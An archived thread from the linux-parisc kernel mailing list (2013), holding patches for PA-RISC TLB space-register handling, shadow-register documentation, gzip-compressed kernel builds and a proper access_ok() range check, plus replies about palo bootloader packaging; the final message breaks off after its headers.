X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.85.79]) by BLU0-SMTP21.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 25 Jun 2013 16:10:13 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 25 Jun 2013 23:10:13.0419 (UTC) FILETIME=[25BBE7B0:01CE71F9]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5169
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5169>

--Apple-Mail-19-905097367
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

I still see the occasional random segv on rp3440.  Looking at one of  
these (a code 15), it appeared the problem must
be with the cache handling of anonymous pages.  Reviewing this, I  
noticed that the space register %sr1 might be
being clobbered when we flush an anonymous page.

Register %sr1 is used for TLB purges in a couple of places.  These  
purges are needed on PA8800 and PA8900
processors to ensure cache consistency of flushed cache lines.

The solution here is simply to move the %sr1 load into the TLB lock  
region needed to ensure that one purge executes
at a time on SMP systems.  This was already the case for one use.   
After a few days of operation, I haven't had a random
segv on my rp3440.

Signed-off-by: John David Anglin  <dave.anglin@bell.net>
---


--Apple-Mail-19-905097367
Content-Disposition: attachment; filename="sr1.txt"
Content-Type: text/plain; x-unix-mode=0644; name="sr1.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/include/asm/tlbflush.h b/arch/parisc/include/asm/tlbflush.h
index 5273da9..9cdbc74 100644
--- a/arch/parisc/include/asm/tlbflush.h
+++ b/arch/parisc/include/asm/tlbflush.h
@@ -68,8 +68,8 @@ static inline void flush_tlb_page(struct vm_area_struct *vma,
 	/* For one page, it's not worth testing the split_tlb variable */
 
 	mb();
-	mtsp(vma->vm_mm->context,1);
 	purge_tlb_start(flags);
+	mtsp(vma->vm_mm->context,1);
 	pdtlb(addr);
 	pitlb(addr);
 	purge_tlb_end(flags);
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 65fb4cb..2e65aa5 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -440,8 +440,8 @@ void __flush_tlb_range(unsigned long sid, unsigned long start,
 	else {
 		unsigned long flags;
 
-		mtsp(sid, 1);
 		purge_tlb_start(flags);
+		mtsp(sid, 1);
 		if (split_tlb) {
 			while (npages--) {
 				pdtlb(start);

--Apple-Mail-19-905097367
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit



--
John David Anglin	dave.anglin@bell.net


--Apple-Mail-19-905097367--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: document the shadow registers
Date: Sat, 29 Jun 2013 13:24:16 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <20130629112416.GA1287@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1372505067 7402 80.91.229.3 (29 Jun 2013 11:24:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 29 Jun 2013 11:24:27 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 29 13:24:28 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UstGS-0005Pg-4l
	for glpp-linux-parisc@plane.gmane.org; Sat, 29 Jun 2013 13:24:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752643Ab3F2LYX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 29 Jun 2013 07:24:23 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:63249 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752852Ab3F2LYV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 29 Jun 2013 07:24:21 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.17]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0Lzmgv-1UErKK2SR9-0151lc for
 <linux-parisc@vger.kernel.org>; Sat, 29 Jun 2013 13:24:19 +0200
Original-Received: (qmail invoked by alias); 29 Jun 2013 11:24:19 -0000
Original-Received: from p54AD0337.dip0.t-ipconnect.de (EHLO p100.box) [84.173.3.55]
  by mail.gmx.net (mp017) with SMTP; 29 Jun 2013 13:24:19 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/mm6wUXlvme0Wh5w5mRE3fIu112T8zQ8WGHjBKAs
	G6XwiFEMtaY08g
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5170
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5170>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/Documentation/parisc/registers b/Documentation/parisc/registers
index dd3cadd..10c7d17 100644
--- a/Documentation/parisc/registers
+++ b/Documentation/parisc/registers
@@ -78,6 +78,14 @@ Shadow Registers		used by interruption handler code
 TOC enable bit			1
 
 =========================================================================
+
+The PA-RISC architecture defines 7 registers as "shadow registers".
+Those are used in RETURN FROM INTERRUPTION AND RESTORE instruction to reduce
+the state save and restore time by eliminating the need for general register
+(GR) saves and restores in interruption handlers.
+Shadow registers are the GRs 1, 8, 9, 16, 17, 24, and 25.
+
+=========================================================================
 Register usage notes, originally from John Marvin, with some additional
 notes from Randolph Chung.
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: switch to gzip-compressed vmlinuz kernel
Date: Sat, 29 Jun 2013 13:31:24 +0200
Lines: 119
Approved: news@gmane.org
Message-ID: <20130629113124.GA1320@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1372505489 10776 80.91.229.3 (29 Jun 2013 11:31:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 29 Jun 2013 11:31:29 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 29 13:31:30 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UstNJ-0001QE-Ro
	for glpp-linux-parisc@plane.gmane.org; Sat, 29 Jun 2013 13:31:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752866Ab3F2Lb3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 29 Jun 2013 07:31:29 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:52522 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752640Ab3F2Lb2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 29 Jun 2013 07:31:28 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.30]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MVGca-1UkdGb0IkI-00YhfP for
 <linux-parisc@vger.kernel.org>; Sat, 29 Jun 2013 13:31:27 +0200
Original-Received: (qmail invoked by alias); 29 Jun 2013 11:31:26 -0000
Original-Received: from p54AD0337.dip0.t-ipconnect.de (EHLO p100.box) [84.173.3.55]
  by mail.gmx.net (mp030) with SMTP; 29 Jun 2013 13:31:26 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+gefFwRR2gzbHLeMCVFNFQUztdCobcz0fa/jTwfZ
	wHWZoTPgQpFtqj
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5171
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5171>

The latest palo (PA-RISC Boot Loader) allows loading of a
gzip-compressed vmlinuz kernel. So let's switch to build a vmlinuz file
when we build a palo boot image.

PALO version 1.9 (or higher) is required for this which is available in
the dev_gzip branch of
git://git.kernel.org/pub/scm/linux/kernel/git/deller/palo.git 

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 6507dab..c88c147 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -3,6 +3,7 @@ config PARISC
 	select ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
 	select HAVE_IDE
 	select HAVE_OPROFILE
+	select HAVE_KERNEL_GZIP
 	select HAVE_FUNCTION_TRACER if 64BIT
 	select HAVE_FUNCTION_GRAPH_TRACER if 64BIT
 	select HAVE_FUNCTION_TRACE_MCOUNT_TEST if 64BIT
diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 96ec398..6666133 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -17,6 +17,8 @@
 # Mike Shaver, Helge Deller and Martin K. Petersen
 #
 
+KBUILD_IMAGE := $(objtree)/vmlinuz
+
 KBUILD_DEFCONFIG := default_defconfig
 
 NM		= sh $(srctree)/arch/parisc/nm
@@ -92,7 +94,7 @@ PALOCONF := $(shell if [ -f $(src)/palo.conf ]; then echo $(src)/palo.conf; \
 	else echo $(obj)/palo.conf; \
 	fi)
 
-palo: vmlinux
+palo: vmlinuz
 	@if test ! -x "$(PALO)"; then \
 		echo 'ERROR: Please install palo first (apt-get install palo)';\
 		echo 'or build it from source and install it somewhere in your $$PATH';\
@@ -107,10 +109,10 @@ palo: vmlinux
 	fi
 	$(PALO) -f $(PALOCONF)
 
-# Shorthands for known targets not supported by parisc, use vmlinux as default
-Image zImage bzImage: vmlinux
+vmlinuz: vmlinux
+	@gzip -cf -9 $< > $@
 
-install: vmlinux
+install: vmlinuz
 	sh $(src)/arch/parisc/install.sh \
 			$(KERNELRELEASE) $< System.map "$(INSTALL_PATH)"
 
@@ -119,6 +121,7 @@ MRPROPER_FILES	+= palo.conf
 
 define archhelp
 	@echo  '* vmlinux	- Uncompressed kernel image (./vmlinux)'
+	@echo  '  vmlinuz	- Compressed kernel image (./vmlinuz)'
 	@echo  '  palo		- Bootable image (./lifimage)'
 	@echo  '  install	- Install kernel using'
 	@echo  '		  (your) ~/bin/$(INSTALLKERNEL) or'
diff --git a/arch/parisc/defpalo.conf b/arch/parisc/defpalo.conf
index 4e1ae25..fac130a 100644
--- a/arch/parisc/defpalo.conf
+++ b/arch/parisc/defpalo.conf
@@ -4,7 +4,7 @@
 # Most people using 'make palo' want a bootable file, usable for
 # network or tape booting for example.
 --init-tape=lifimage
---recoverykernel=vmlinux
+--recoverykernel=vmlinuz
 
 ########## Pick your ROOT here! ##########
 # You need at least one 'root='!
@@ -12,10 +12,10 @@
 # If you want a root ramdisk, use the next 2 lines
 #   (Edit the ramdisk image name!!!!)
 --ramdisk=ram-disk-image-file
---commandline=0/vmlinux HOME=/ root=/dev/ram initrd=0/ramdisk
+--commandline=0/vmlinuz HOME=/ root=/dev/ram initrd=0/ramdisk
 
 # If you want NFS root, use the following command line (Edit the HOSTNAME!!!)
-#--commandline=0/vmlinux HOME=/ root=/dev/nfs nfsroot=HOSTNAME ip=bootp
+#--commandline=0/vmlinuz HOME=/ root=/dev/nfs nfsroot=HOSTNAME ip=bootp
 
 # If you have root on a disk partition, use this (Edit the partition name!!!)
-#--commandline=0/vmlinux HOME=/ root=/dev/sda1
+#--commandline=0/vmlinuz HOME=/ root=/dev/sda1
diff --git a/arch/parisc/install.sh b/arch/parisc/install.sh
index e593fc8..4da682b 100644
--- a/arch/parisc/install.sh
+++ b/arch/parisc/install.sh
@@ -26,13 +26,13 @@ if [ -x /sbin/${INSTALLKERNEL} ]; then exec /sbin/${INSTALLKERNEL} "$@"; fi
 
 # Default install
 
-if [ -f $4/vmlinux ]; then
-	mv $4/vmlinux $4/vmlinux.old
+if [ -f $4/vmlinuz ]; then
+	mv $4/vmlinuz $4/vmlinuz.old
 fi
 
 if [ -f $4/System.map ]; then
 	mv $4/System.map $4/System.old
 fi
 
-cat $2 > $4/vmlinux
+cat $2 > $4/vmlinuz
 cp $3 $4/System.map
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: implement full version of access_ok()
Date: Sat, 29 Jun 2013 14:03:14 +0200
Lines: 96
Approved: news@gmane.org
Message-ID: <20130629120314.GA29350@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1372507403 27095 80.91.229.3 (29 Jun 2013 12:03:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 29 Jun 2013 12:03:23 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 29 14:03:23 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UstsA-0002tV-HA
	for glpp-linux-parisc@plane.gmane.org; Sat, 29 Jun 2013 14:03:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752331Ab3F2MDT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 29 Jun 2013 08:03:19 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:64842 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752154Ab3F2MDS (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 29 Jun 2013 08:03:18 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.33]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0Ld2ys-1USOpB0J1M-00iFTF for
 <linux-parisc@vger.kernel.org>; Sat, 29 Jun 2013 14:03:17 +0200
Original-Received: (qmail invoked by alias); 29 Jun 2013 12:03:16 -0000
Original-Received: from p54AD0337.dip0.t-ipconnect.de (EHLO p100.box) [84.173.3.55]
  by mail.gmx.net (mp033) with SMTP; 29 Jun 2013 14:03:16 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1++K8ZJswu+dzK3HCT2KAoTonwQDfp/sBt4NC7NsW
	7E0ZQ73eVs3mEH
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5172
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5172>

Up to now PA-RISC could live with a trivial version of access_ok().
Our fault handlers can correctly handle fault cases.

But testcases showed that we need a better access check else we won't
always return correct errno failure codes to userspace.

Problem showed up during 32bit userspace tests in which writev() used a
32bit memory area and length which would then wrap around on 64bit
kernel.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index e0a8235..37ca987 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -4,11 +4,14 @@
 /*
  * User space memory access functions
  */
+#include <asm/processor.h>
 #include <asm/page.h>
 #include <asm/cache.h>
 #include <asm/errno.h>
 #include <asm-generic/uaccess-unaligned.h>
 
+#include <linux/sched.h>
+
 #define VERIFY_READ 0
 #define VERIFY_WRITE 1
 
@@ -33,12 +36,43 @@ extern int __get_user_bad(void);
 extern int __put_kernel_bad(void);
 extern int __put_user_bad(void);
 
-static inline long access_ok(int type, const void __user * addr,
-		unsigned long size)
+
+/*
+ * Test whether a block of memory is a valid user space address.
+ * Returns 0 if the range is valid, nonzero otherwise.
+ */
+static inline int __range_not_ok(unsigned long addr, unsigned long size,
+				 unsigned long limit)
 {
-	return 1;
+	unsigned long __newaddr = addr + size;
+	return (__newaddr < addr || __newaddr > limit || size > limit);
 }
 
+/**
+ * access_ok: - Checks if a user space pointer is valid
+ * @type: Type of access: %VERIFY_READ or %VERIFY_WRITE.  Note that
+ *        %VERIFY_WRITE is a superset of %VERIFY_READ - if it is safe
+ *        to write to a block, it is always safe to read from it.
+ * @addr: User space pointer to start of block to check
+ * @size: Size of block to check
+ *
+ * Context: User context only.  This function may sleep.
+ *
+ * Checks if a pointer to a block of memory in user space is valid.
+ *
+ * Returns true (nonzero) if the memory block may be valid, false (zero)
+ * if it is definitely invalid.
+ *
+ * Note that, depending on architecture, this function probably just
+ * checks that the pointer is in the user space range - after calling
+ * this function, memory access functions may still return -EFAULT.
+ */
+#define access_ok(type, addr, size)					\
+(	__chk_user_ptr(addr),						\
+	!__range_not_ok((unsigned long) (__force void *) (addr),	\
+			size, user_addr_max())				\
+)
+
 #define put_user __put_user
 #define get_user __get_user
 
@@ -218,7 +252,11 @@ extern long lstrnlen_user(const char __user *,long);
 /*
  * Complex access routines -- macros
  */
-#define user_addr_max() (~0UL)
+#ifdef CONFIG_COMPAT
+#define user_addr_max() (TASK_SIZE)
+#else
+#define user_addr_max() (DEFAULT_TASK_SIZE)
+#endif
 
 #define strnlen_user lstrnlen_user
 #define strlen_user(str) lstrnlen_user(str, 0x7fffffffL)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: switch to gzip-compressed vmlinuz kernel
Date: Sat, 29 Jun 2013 15:38:17 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <BLU0-SMTP510D290B15E6925904E11C97770@phx.gbl>
References: <20130629113124.GA1320@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1372534718 21393 80.91.229.3 (29 Jun 2013 19:38:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 29 Jun 2013 19:38:38 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 29 21:38:37 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ut0yh-00021g-VP
	for glpp-linux-parisc@plane.gmane.org; Sat, 29 Jun 2013 21:38:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751151Ab3F2Tif (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 29 Jun 2013 15:38:35 -0400
Original-Received: from blu0-omc4-s23.blu0.hotmail.com ([65.55.111.162]:64251 "EHLO
	blu0-omc4-s23.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751115Ab3F2Tif (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 29 Jun 2013 15:38:35 -0400
Original-Received: from BLU0-SMTP51 ([65.55.111.137]) by blu0-omc4-s23.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 29 Jun 2013 12:38:34 -0700
X-EIP: [Bvfad80BYrd1J9FcsA2+CkOVuVsApnKP]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.85.79]) by BLU0-SMTP51.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 29 Jun 2013 12:38:32 -0700
In-Reply-To: <20130629113124.GA1320@p100.box>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 29 Jun 2013 19:38:32.0910 (UTC) FILETIME=[3D4B06E0:01CE7500]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5173
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5173>

On 29-Jun-13, at 7:31 AM, Helge Deller wrote:

> PALO version 1.9 (or higher) is required for this which is available  
> in
> the dev_gzip branch of
> git://git.kernel.org/pub/scm/linux/kernel/git/deller/palo.git


Helge, as the resident palo guru, could you update the debian/ 
changelog and
build a new package when you make changes?  We have gone through about
three versions without any documentation as to what was changed.

I have built a palo-1.19 package which should be uploaded to the  
archive soon.
Made up something for changelog.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: switch to gzip-compressed vmlinuz kernel
Date: Sat, 29 Jun 2013 21:54:41 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <51CF3B81.8010807@gmx.de>
References: <20130629113124.GA1320@p100.box> <BLU0-SMTP510D290B15E6925904E11C97770@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1372535690 32033 80.91.229.3 (29 Jun 2013 19:54:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 29 Jun 2013 19:54:50 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 29 21:54:50 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ut1EO-000097-Ft
	for glpp-linux-parisc@plane.gmane.org; Sat, 29 Jun 2013 21:54:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752707Ab3F2Tyo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 29 Jun 2013 15:54:44 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:61347 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752588Ab3F2Tyo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 29 Jun 2013 15:54:44 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.33]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MVoJy-1UmQcU2vAu-00X3Uo for
 <linux-parisc@vger.kernel.org>; Sat, 29 Jun 2013 21:54:42 +0200
Original-Received: (qmail invoked by alias); 29 Jun 2013 19:54:42 -0000
Original-Received: from p54AD0337.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.3.55]
  by mail.gmx.net (mp033) with SMTP; 29 Jun 2013 21:54:42 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+2rK8eybK2vNprDPm3oyn3mA4QJ9mHI1gnoQaW3d
	d25Ry7iNSbOM4B
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130514 Thunderbird/17.0.6
In-Reply-To: <BLU0-SMTP510D290B15E6925904E11C97770@phx.gbl>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5174
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5174>

Hi Dave,

On 06/29/2013 09:38 PM, John David Anglin wrote:
> On 29-Jun-13, at 7:31 AM, Helge Deller wrote:
> 
>> PALO version 1.9 (or higher) is required for this which is available in
>> the dev_gzip branch of
>> git://git.kernel.org/pub/scm/linux/kernel/git/deller/palo.git
> 
> Helge, as the resident palo guru, could you update the debian/changelog and
> build a new package when you make changes?  We have gone through about
> three versions without any documentation as to what was changed.

Sure, that's what I had in mind. And add a spec file for RH :-)
But I just sent the patch to patchwork so that it's not being missed at some point.
I did not yet wanted to apply it....

> I have built a palo-1.19 package which should be uploaded to the archive soon.
> Made up something for changelog.

Please don't upload it yet.
It still needs more testing.

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: switch to gzip-compressed vmlinuz kernel
Date: Sat, 29 Jun 2013 16:00:24 -0400
Lines: 46
Approved: news@gmane.org
Message-ID: <BLU0-SMTP67AC6F18E8093CF6C8C2E797770@phx.gbl>
References: <20130629113124.GA1320@p100.box> <BLU0-SMTP510D290B15E6925904E11C97770@phx.gbl> <51CF3B81.8010807@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1372536035 2990 80.91.229.3 (29 Jun 2013 20:00:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 29 Jun 2013 20:00:35 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 29 22:00:35 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ut1Jz-0002zN-9C
	for glpp-linux-parisc@plane.gmane.org; Sat, 29 Jun 2013 22:00:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753006Ab3F2UAe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 29 Jun 2013 16:00:34 -0400
